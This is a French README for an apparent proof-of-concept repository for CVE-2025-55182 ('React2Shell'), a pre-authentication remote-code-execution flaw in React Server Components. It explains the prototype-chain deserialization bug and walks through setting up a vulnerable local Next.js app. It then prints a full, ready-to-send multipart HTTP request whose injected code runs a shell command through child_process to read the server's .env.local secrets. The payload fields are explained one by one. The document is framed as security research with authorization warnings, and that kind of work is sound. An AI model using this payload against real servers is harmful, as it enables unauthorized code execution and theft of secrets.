Ce dépôt contient un POC de la CVE-2025-55182, une vulnérabilité critique (score CVSS 10.0) d'exécution de code à distance avant authentification affectant les React Server Components, également connue sous le nom de React2Shell.
⚠️ AVERTISSEMENT : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité. N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
Ce dépôt contient une démonstration de preuve de concept de CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance en pré-authentification affectant les React Server Components.
Score CVSS : 10.0 (Critique)
Versions affectées :
react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpackCVE-2025-55182 est une vulnérabilité de désérialisation non sécurisée dans l'implémentation du protocole Flight des React Server Components. Cette vulnérabilité permet à des attaquants non authentifiés d'exécuter du code JavaScript arbitraire sur le serveur en créant des payloads malveillants qui exploitent la traversée de la chaîne de prototypes et des schémas d'accès aux propriétés non sécurisés.
La vulnérabilité provient de la façon dont les React Server Components désérialisent les payloads du protocole Flight. Lors du traitement des références de modules, le code utilise la notation par crochets pour accéder aux propriétés (moduleExports[metadata[2]]), ce qui parcourt toute la chaîne de prototypes JavaScript. Cela permet aux attaquants de référencer des propriétés qui n'étaient pas explicitement exportées, y compris la propriété constructor, qui donne accès au constructeur global Function.
En combinant des techniques de pollution de prototypes avec les mécanismes internes de traitement des chunks de React, un attaquant peut construire un payload qui finit par exécuter du code arbitraire via le constructeur Function.
Créez un nouveau projet en utilisant une version qui inclut les React Server Components vulnérables :
npx [email protected] poc-react2shell
cd poc-react2shell
Ou utilisez ce dépôt.
Créez un fichier .env.local à la racine du projet pour démontrer l'impact de la vulnérabilité :
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Lancez le serveur de développement Next.js :
npm run dev
Le serveur devrait démarrer sur http://localhost:3000.
http://localhost:3000/POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
La réponse devrait contenir le contenu de votre fichier .env.local dans le corps de la réponse :

Le payload est composé de trois champs de formulaire multipart :
Champ 0 : Un faux objet chunk contenant :
$1:__proto__:then)$B1337) qui déclenche l'exploit_response pollué avec un _prefix malveillant et _formData.getChamp 1 : Une référence au champ 0 ($@0)
Champ 2 : Un tableau vide ([])
Le code malveillant dans _prefix lit .env.local en utilisant child_process.execSync de Node.js et intègre le résultat dans un digest d'erreur.
Cette vulnérabilité permet aux attaquants de :
Entraînez-vous sur cette CVE dans un scénario réel
Vous voulez exploiter CVE-2025-55182 dans un environnement CTF pratique ? Découvrez OSS OopsSec Store, un laboratoire volontairement vulnérable conçu pour la formation en sécurité offensive. Cette CVE est implémentée comme l'un des flags !
Cette preuve de concept est fournie uniquement à des fins éducatives et de recherche en sécurité. Assurez-vous toujours d'avoir une autorisation écrite explicite avant de tester des vulnérabilités de sécurité sur un système.